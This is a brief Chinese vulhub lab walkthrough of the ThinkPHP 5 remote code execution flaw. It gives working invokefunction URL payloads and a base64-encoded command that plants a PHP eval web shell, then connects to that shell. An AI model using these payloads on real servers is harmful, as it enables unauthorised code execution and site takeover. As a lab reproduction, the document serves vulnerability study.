vulhub Thinkphp5 5.0.22/5.1.29远程代码执行漏洞

漏洞描述

ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5中，由于框架错误地处理了控制器名称，因此如果网站未启用强制路由（默认设置），则该框架可以执行任何方法，从而导致RCE漏洞。

靶场环境

进入到/vulhub-master/thinkphp/5-rce 路径下 docker-compose up -d启动

可以看到报了一个错误，大概意思是版本不匹配

解决的方法很简单：

根据提示修改配置文件即可：

vim ./docker-compose.yml

将version改为2.0即可成功启动

漏洞复现

环境启动后，访问192.168.121.131:8080

使用以下payload获取phpinfo：

index.php？s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

还可以查看其他值

index.php？s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=pwwd

base64编码后上传shell：

echo%20-n%20YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKSA/PmJi%20|%20base64%20-d>%20/var/www/public/shell.php

访问shell.php

使用工具进行连接：

连接成功